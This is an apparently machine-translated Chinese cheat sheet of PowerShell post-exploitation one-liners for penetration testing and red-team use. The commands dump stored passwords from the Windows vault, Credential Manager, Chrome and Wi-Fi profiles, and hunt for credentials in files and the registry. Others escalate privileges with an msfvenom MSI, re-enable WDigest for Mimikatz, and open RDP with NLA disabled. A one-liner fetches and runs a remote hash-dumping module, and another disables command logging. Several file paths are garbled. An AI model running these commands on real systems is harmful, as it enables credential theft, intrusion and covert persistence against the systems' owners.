本文包含從 Internet 的各個角落收集的 PowerShell 命令列表,這些命令在滲透測試或紅色團隊練習期間可能會有所幫助。
該列表包括各種開發後的單行在純 PowerShell 不需要任何攻擊 (= 可能標記為惡意) 第三方模組, 但也一堆方便的管理命令.
查詢包含敏感資訊的檔案
在開發後階段,以下 PowerShell 命令可以很方便地查詢磁碟上可能包含憑據、配置詳細資訊和其他敏感資訊的檔案。
查詢可能感興趣的檔案
通過此命令,我們可以根據檔名識別具有潛在敏感資料的檔案,如帳戶資訊、憑據、配置檔案等:
gci c:\ -Include *pass*.txt,*pass*.xml,*pass*.ini,*pass*.xlsx,*cred*,*vnc*,*.config*,*accounts* -File -Recurse -EA SilentlyContinue
雖然這會產生很多噪音,但也會產生一些非常有趣的結果。
建議對每個磁碟驅動器進行此操作,但您也可以在 c:\使用者資料夾上執行它,以便獲得一些快速獲勝。
在 Sysprep 或未處理檔案中查詢憑據
此命令將查詢自動安裝和自動配置的殘餘,這些殘餘可能包含純文字密碼或 base64 編碼密碼:
gci c:\ -Include *sysprep.inf,*sysprep.xml,*sysprep.txt,*unattended.xml,*unattend.xml,*unattend.txt -File -Recurse -EA SilentlyContinue
這是眾所周知的特權升級技術之一,因為密碼通常是本地管理員密碼。
建議對每個磁碟驅動器進行此設定。
查詢包含"密碼"字串的配置檔案
通過此命令,我們可以找到包含特定模式的檔案,例如,這裡正在尋找各種文字配置檔案中的"密碼"模式:
gci c:\ -Include *.txt,*.xml,*.config,*.conf,*.cfg,*.ini -File -Recurse -EA SilentlyContinue | Select-String -Pattern "password"
雖然這會產生很多噪音,但也會產生一些有趣的結果。
建議對每個磁碟驅動器進行此設定。
在配置檔案中查詢資料庫憑據
使用以下 PowerShell 命令,我們可以在各種配置檔案(如 Web.config)中查詢儲存在各種配置檔案中的資料庫連線字串(具有純文字憑據),ASP.NET在 Visual Studio 專案檔案中等:
gci c:\ -Include *.config,*.conf,*.xml -File -Recurse -EA SilentlyContinue | Select-String -Pattern "connectionString"
查詢連線字串,例如對於遠端 Microsoft SQL Server,可能會導致遠端命令執行 (RCE) 使用 xp_cmdshell 功能(連結、連結、連結等)以及隨後的橫向移動。
查詢 Web 伺服器配置檔案
通過此命令,我們可以輕鬆地找到屬於 Microsoft IIS、XAMPP、Apache、PHP 或 MySQL 安裝的配置檔案:
gci c:\ -Include web.config,applicationHost.config,php.ini,httpd.conf,httpd-xampp.conf,my.ini,my.cnf -File -Recurse -EA SilentlyContinue
這些檔案可能包含純文字密碼或其他有趣的資訊,可以允許訪問其他資源,如資料庫,管理介面等。
提取憑據
以下 PowerShell 命令也屬於開發後類別,它們可用於在訪問 Windows 系統後提取憑據。
從 Windows 密碼 Vault 獲取儲存的密碼
使用以下 PowerShell 命令,我們可以從 Windows密碼 Vault中提取機密,這是一種用於儲存密碼和 Web 憑據的 Windows 內建機制,例如用於 Internet 資源管理器、邊緣和其他應用程式:
[Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];(New-Object Windows.Security.Credentials.PasswordVault).RetrieveAll() | % { $_.RetrievePassword();$_ }
請注意,保管庫通常儲存在以下位置,並且只能在當前記錄的使用者的上下文中檢索機密:
- C:\使用者\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
- C:\Windows\System32\配置\系統配置檔案\應用程式資料\本地\微軟\Vault\
- C:[程式資料]微軟[Vault]
有關 Windows 密碼 Vault 的更多資訊,請參閱此處。
從 Windows 憑據管理器獲取儲存的密碼
Windows 憑據管理器提供了另一種用於儲存憑據以登入到網站、登入到遠端系統和各種應用程式的機制,它還提供了在 PowerShell 指令碼中使用憑據的安全方法。
使用以下單行,我們可以使用憑據管理器從憑據管理器檢索所有儲存的憑據:
Get-StoredCredential | % { write-host -NoNewLine $_.username; write-host -NoNewLine ":" ; $p = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($_.password) ; [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($p); }
與密碼 Vault 類似,憑據儲存在單個使用者配置檔案位置,只有當前記錄的使用者才能解密其:
- C:\使用者\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
- C:\使用者\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
- C:\Windows\系統\系統32\配置\系統配置檔案\應用程式資料\本地\微軟\憑據\
從谷歌瀏覽器轉儲密碼
以下命令從 Google Chrome 瀏覽器(如果已安裝)以及儲存任何密碼時提取儲存的憑據:
[System.Text.Encoding]::UTF8.GetString([System.Security.Cryptography.ProtectedData]::Unprotect($datarow.password_value,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser))
同樣,這必須在目標(受害者)使用者的上下文中執行。
從無線配置檔案獲取儲存的 Wi-Fi 密碼
通過此命令,我們可以從 Windows 系統中配置的無線配置檔案中提取所有儲存的 Wi-Fi 密碼(WEP、WPA PSK、WPA2 PSK 等) :
(netsh wlan show profiles) | Select-String "\:(.+)$" | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name="$name" key=clear)} | Select-String "Key Content\W+\:(.+)$" | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Format-Table -AutoSize
請注意,我們必須具有管理許可權才能使之有效。
在登錄檔中搜尋 SNMP 社群字串
以下命令將提取儲存在登錄檔中的 SNMP 社群字串(如果有) :
gci HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse -EA SilentlyContinue
查詢 SNMP 社群字串不是關鍵問題,但它可能很有用:
- 瞭解組織中系統管理員使用哪種密碼模式
- 執行密碼噴塗攻擊(假設密碼可能在其他地方重新使用)
在登錄檔中搜尋字串模式
以下 PowerShell 命令將篩選選定的登錄檔配置單元(HKCR、HKCU、HKLM、HKU 和 HKCC),並遞迴搜尋登錄檔項名稱或資料值中的任何選定模式。在這種情況下,我們正在搜尋"密碼"模式:
$pattern = "password"
$hives = "HKEY_CLASSES_ROOT","HKEY_CURRENT_USER","HKEY_LOCAL_MACHINE","HKEY_USERS","HKEY_CURRENT_CONFIG"
# Search in registry keys
foreach ($r in $hives) { gci "registry::${r}\" -rec -ea SilentlyContinue | sls "$pattern" }
# Search in registry values
foreach ($r in $hives) { gci "registry::${r}\" -rec -ea SilentlyContinue | % { if((gp $_.PsPath -ea SilentlyContinue) -match "$pattern") { $_.PsPath; $_ | out-string -stream | sls "$pattern" }}}
雖然這可能需要很多時間併產生大量噪音,但它肯定會在登錄檔中找到所選模式的每一次出現。
許可權升級
以下各節包含適用於許可權升級攻擊的 PowerShell 命令 , 適用於我們只有低特權使用者訪問許可權並且我們希望將許可權上報給本地管理員的情況。
搜尋自動登入憑據的登錄檔
Windows 系統可以配置為在啟動時自動登入,例如在 POS(銷售點)系統上使用。通常,這是通過將使用者名稱和密碼儲存在特定的 Winlogon 登錄檔位置(以明文顯示)來配置的。
以下命令將從登錄檔獲取自動登入憑據:
gp 'HKLM:\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon' | select "Default*"
檢查是否啟用了"始終安裝提升"
如果以下始終安裝提升的登錄檔項設定為 1,則意味著任何低特權使用者可以安裝 *.msi 具有 NT 頒發機構\SYSTEM 許可權的檔案。下面使用 PowerShell 檢查:
gp 'HKCU:\Software\Policies\Microsoft\Windows\Installer' -Name AlwaysInstallElevated
gp 'HKLM:\Software\Policies\Microsoft\Windows\Installer' -Name AlwaysInstallElevated
請注意,兩個登錄檔項必須設定為 1 才能正常工作。
MSI安裝程式包可以很容易地生成使用msfvenom實用程式從元普洛伊特框架。例如,我們可以把自己新增到管理員組中:
msfvenom -p windows/exec CMD='net localgroup administrators joe /add' -f msi > pkg.msi
查詢未引用的服務路徑
以下 PowerShell 命令將列印其可執行路徑未包含在引號中的服務("):
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name
這可能導致許可權升級,以防可執行路徑還包含空格,並且我們對路徑中的任何資料夾都有寫入許可權。
有關此技術的更多詳細資訊,包括開發步驟,請在這裡或此處找到。
檢查 Lsass Wdigest 快取
使用以下命令,我們可以檢查系統是否啟用了 WDigest 憑據快取。設定決定了我們是否能夠使用Mimikatz 從LSASS 程式記憶體中提取純文字憑據。
(gp registry::HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\Wdigest).UseLogonCredential
- 如果該值設定為 0,則禁用快取(系統受到保護)
- 如果不存在或設定為 1,則啟用快取
請注意,如果禁用它,我們仍可以使用以下命令啟用它,但我們還必須在之後重新啟動系統:
sp registry::HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\Wdigest -name UseLogonCredential -value 1
SYSVOL 和組策略首選項 (GPP) 中的憑據
在公司 Windows 活動目錄環境中,有時可以在組策略中、在 SYSVOL 網路共享中的域控制器上的各種自定義指令碼或配置檔案中找到憑據。
由於任何經過身份驗證的域使用者都可以訪問 SYSVOL 網路共享,因此我們可以使用以下命令輕鬆識別是否有任何儲存憑據:
Push-Location \\example.com\sysvol
gci * -Include *.xml,*.txt,*.bat,*.ps1,*.psm,*.psd -Recurse -EA SilentlyContinue | select-string password
Pop-Location
一個典型的示例是MS14-025,GPP XML 檔案中具有 cPassword 屬性。"密碼"屬性可以立即解密為純文字形式,例如,在 Kali Linux 中使用gpp 解密實用程式。
網路相關命令
下面是一些與網路相關的 PowerShell 命令,這些命令在內部網路滲透測試和類似練習中尤其有用。
從命令列設定 MAC 地址
有時在網路介面上設定 MAC 地址會很有用,使用 PowerShell,我們可以輕鬆地使用任何第三方實用程式:
Set-NetAdapter -Name "Ethernet0" -MacAddress "00-01-18-57-1B-0D"
這非常有用,例如,當我們測試 NAC(網路訪問控制)旁路和其他方面。
允許遠端桌面連線
當我們想要使用圖形 RDP 會話連線到系統時,此命令三重奏可能很有用,但由於某些原因,未啟用它:
# Allow RDP connections
(Get-WmiObject -Class "Win32_TerminalServiceSetting" -Namespace root\cimv2\terminalservices).SetAllowTsConnections(1)
# Disable NLA
(Get-WmiObject -class "Win32_TSGeneralSetting" -Namespace root\cimv2\terminalservices -Filter "TerminalName='RDP-tcp'").SetUserAuthenticationRequired(0)
# Allow RDP on the firewall
Get-NetFirewallRule -DisplayGroup "Remote Desktop" | Set-NetFirewallRule -Enabled True
現在埠 tcp/3389 應該是開放的,我們應該能夠連線沒有問題,例如通過使用來自 Kali Linux 的 xfreerdp 或 rdesktop 工具。
使用大容量 DNS 反向查詢的主機發現
使用此命令,我們可以在 10.10.1.0/24 子網上執行快速反向 DNS 查詢,並檢視是否有任何可解析(可能處於活動狀態)主機:
$net = "10.10.1."
0..255 | foreach {$r=(Resolve-DNSname -ErrorAction SilentlyContinue $net$_ | ft NameHost -HideTableHeaders | Out-String).trim().replace("\s+","").replace("`r","").replace("`n"," "); Write-Output "$net$_ $r"} | tee ip_hostname.txt
然後,結果將儲存在ip_hostname.txt目錄中的日誌檔案中。
有時,這可能比 pingsweep 或類似技術更快、更隱蔽。
埠掃描主機以尋找有趣的埠
下面瞭解如何快速移植掃描所選 39 個有趣埠的指定 IP 地址 (10.10.15.232):
$ports = "21 22 23 25 53 80 88 111 139 389 443 445 873 1099 1433 1521 1723 2049 2100 2121 3299 3306 3389 3632 4369 5038 5060 5432 5555 5900 5985 6000 6379 6667 8000 8080 8443 9200 27017"
$ip = "10.10.15.232"
$ports.split(" ") | % {echo ((new-object Net.Sockets.TcpClient).Connect($ip,$_)) "Port $_ is open on $ip"} 2>$null
這將讓我們快速瞭解網路上的特定主機,使用純 PowerShell:
埠掃描單個埠的網路(埠掃描)
這對於在指定的網路 C 類子網 (10.10.0.0/24) 上快速發現 SSH 介面 (埠 tcp/22) 非常有用:
$port = 22
$net = "10.10.0."
0..255 | foreach { echo ((new-object Net.Sockets.TcpClient).Connect($net+$_,$port)) "Port $port is open on $net$_"} 2>$null
如果您嘗試只識別 Windows 系統,只需將埠更改為 445。
建立來賓 SMB 共享驅動器
下面是一個很酷的技巧,可以快速啟動任何人都可以訪問的 SMB (CIFS) 網路共享驅動器:
new-item "c:\users\public\share" -itemtype directory
New-SmbShare -Name "sharedir" -Path "C:\users\public\share" -FullAccess "Everyone","Guests","Anonymous Logon"
若要在之後停止它,請執行:
Remove-SmbShare -Name "sharedir" -Force
這可以派上用場傳輸檔案,滲出等。
在 Windows 防火牆中白列出 IP 地址
下面是將 Windows 防火牆中的 IP 地址列入白名單的有用命令:
New-NetFirewallRule -Action Allow -DisplayName "pentest" -RemoteAddress 10.10.15.123
現在,我們應該能夠從每個埠上的 IP 地址 (10.10.15.123) 連線到此主機。
完成業務後,刪除以下規則:
Remove-NetFirewallRule -DisplayName "pentest"
其他有用的命令
以下命令可用於執行各種管理任務、收集有關係統的資訊或使用在筆測試期間可能有用的其他 PowerShell 功能。
無檔案下載和執行
使用這個微小的 PowerShell 命令,我們可以輕鬆地下載和執行遠端託管的任意 PowerShell 程式碼 - 無論是我們自己的機器還是 Internet 上:
iex(iwr("https://URL"))
- iwr = 呼叫 - Web 請求
- iex = 呼叫表示式
遠端內容將下載和載入,而無需接觸磁碟(無檔案)。現在,我們可以執行它。
我們可以將它用於任何數量的流行攻擊模組,例如:
- https://github.com/samratashok/nishang
- https://github.com/PowerShellMafia/PowerSploit
- https://github.com/FuzzySecurity/PowerShell-Suite
- https://github.com/EmpireProject/Empire(此處的模組)
下面是使用 nishang Get-Passhashes 模組轉儲本地密碼雜湊 (hashdump) 的示例:
iex(iwr("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1"));Get-PassHashes
很容易, 但請注意, 這很可能由任何體面的 AV 或 Edr 標記。
在這種情況下,您可以這樣做,您可以混淆要使用的模組,並自己託管它們。
獲取當前使用者的 SID
以下命令將返回當前使用者的 SID 值:
([System.Security.Principal.WindowsIdentity]::GetCurrent()).User.Value
檢查我們執行是否具有提升(管理員)許可權
下面是一個快速的單行,用於檢查我們是否正在執行具有管理員許可權的提升 PowerShell 會話:
If (([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")) { echo "yes"; } else { echo "no"; }
禁用 PowerShell 命令日誌記錄
預設情況下,PowerShell 會自動在歷史記錄檔案中記錄多達 4096 個命令,與 Bash 在 Linux 上記錄的命令類似。
PowerShell 歷史記錄檔案是位於以下位置的每個使用者配置檔案中的純文字檔案:
- C:\使用者\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ConsoleHost_history.txt\\\\\\\\\\\\\\\\
通過以下命令,我們可以在當前 shell 會話中禁用 PowerShell 命令日誌記錄功能:
Set-PSReadlineOption –HistorySaveStyle SaveNothing
或
Remove-Module PSReadline
如果我們想要最大限度地減少我們在系統中的足跡,這在紅色團隊練習中非常有用。
從現在起,PowerShell 歷史記錄檔案中將不記錄任何命令。但是請注意,上述命令仍將在歷史記錄檔案中回顯,因此請注意,這不是完全隱蔽的。
列出已安裝的防病毒 (AV) 產品
下面是一個簡單的 PowerShell 命令,用於查詢安全中心並識別此計算機上的所有已安裝的防病毒產品:
Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct
通過解碼產品狀態值,我們可以確定當前啟用了哪些 AV(如果安裝了多個 AV)、簽名是否為最新,甚至啟用了哪些 AV 功能和掃描引擎(例如實時保護、反間諜軟體、自動更新等)。
然而,這是一個相當深奧的話題,沒有一個簡單的解決方案。以下是有關該主題的一些連結:
- https://mspscripts.com/get-installed-antivirus-information-2/
- https://jdhitsolutions.com/blog/powershell/5187/get-antivirus-product-status-with-powershell/
- https://stackoverflow.com/questions/4700897/wmi-security-center-productstate-clarification/4711211
- https://docs.microsoft.com/en-us/windows/win32/api/iwscapi/ne-iwscapi-wsc_security_product_state
- https://social.msdn.microsoft.com/Forums/pt-BR/6501b87e-dda4-4838-93c3-244daa355d7c/wmisecuritycenter2-productstate
結論
希望您有時在筆試時會發現此收藏非常有用。請留下你最喜歡的單行評論。
對於其他有趣的命令,請檢視我們的純 PowerShell infosec 參考,或檢視我們在 github上收集的極簡攻擊性攻擊性安全工具。